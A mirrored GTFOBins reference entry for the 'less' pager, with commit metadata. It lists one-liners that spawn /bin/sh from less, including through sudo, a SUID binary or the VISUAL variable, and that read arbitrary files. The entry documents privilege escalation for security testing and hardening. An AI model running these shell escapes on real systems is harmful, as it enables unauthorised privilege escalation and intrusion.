1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/less.md
Andrea Cardaci 41bd75145c Fix SUID for less and pg
Only file access is possible in that case.
2018-08-24 12:25:57 +02:00

375 B

functions
execute-interactive file-read sudo-enabled suid-enabled
code
less /etc/profile !/bin/sh
code
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v
code
less file_to_read
code
sudo less /etc/profile !/bin/sh
code
./less file_to_read !/bin/sh